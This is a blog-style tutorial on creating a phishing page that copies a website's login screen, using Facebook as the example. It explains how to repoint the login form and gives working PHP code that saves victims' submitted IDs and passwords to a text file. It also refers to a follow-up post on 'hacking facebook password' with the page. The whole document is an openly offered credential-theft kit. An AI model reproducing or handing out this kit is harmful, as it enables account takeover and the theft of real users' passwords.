Create Fake-Page of any website “manually”

 In one of my previous post I showed how facebook accounts are hacked using fake page, where I gave the download link for facebook fake page. This post is about how to create fake pages of any website on your own. There are anyways many automatic fake page creator software like PHISH CREATOR V2, but these tools are not helpful when you want to learn something, because you won’t get to know what is happening around, also creating fake page is not a chaotic or time consuming task so no need of automated tools.

Note: For illustration I've used Facebook login page, but using this way fake page of any website can be created.   
  What happens when you enter your login id and password and click on ‘login’ button? Let’s see
The text in the TextBoxes (i.e. your id and password) is sent to a php file(in server) named login.php, this php file will look in the database of facebook for your combination of email id and password, if found then it will authenticate you and you will get access to your account.
In our case what we do is copy the whole design of FB login page and create exactly look alike page in our free webhost server.  But the difference is that, this page will not communicate with login.php file in the fb server, rather it will communicate with our self created php file which will store the credentials into a text file (so you can view password of victim) and redirect victim to original FB page.
 In all, we need to create three files-

1.       The HTML page:- For design
2.       PHP page:-  that will store the id and password
3.       Text file:- where id and pass word gets stored

1.    HTML File

To create Html page go to facebook (or any other website, whose fake page you want to create) right click on empty space and click on view source code, you will have a huge code in front of you, press ctrl + A to select whole code, copy and paste it on notepad. Press ctrl + f and find ‘action’ within the text. You will find something like action=”http://www.somwhere.com/something.php”

 Replace “http://somewhere.com/something.php” with “logger.php”. 
Save this file as ‘index.html’

2.    PHP File

To create php file, copy below code into notepad and save it as logger.php
<?php
$handle = fopen("login.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

3.    Text File

You don’t need to do anything for it, just create a new text file with name login.txt
That’s it you have created your fake page, if you don’t know what to do next with this fake page, read this post about hacking facebook password using fake page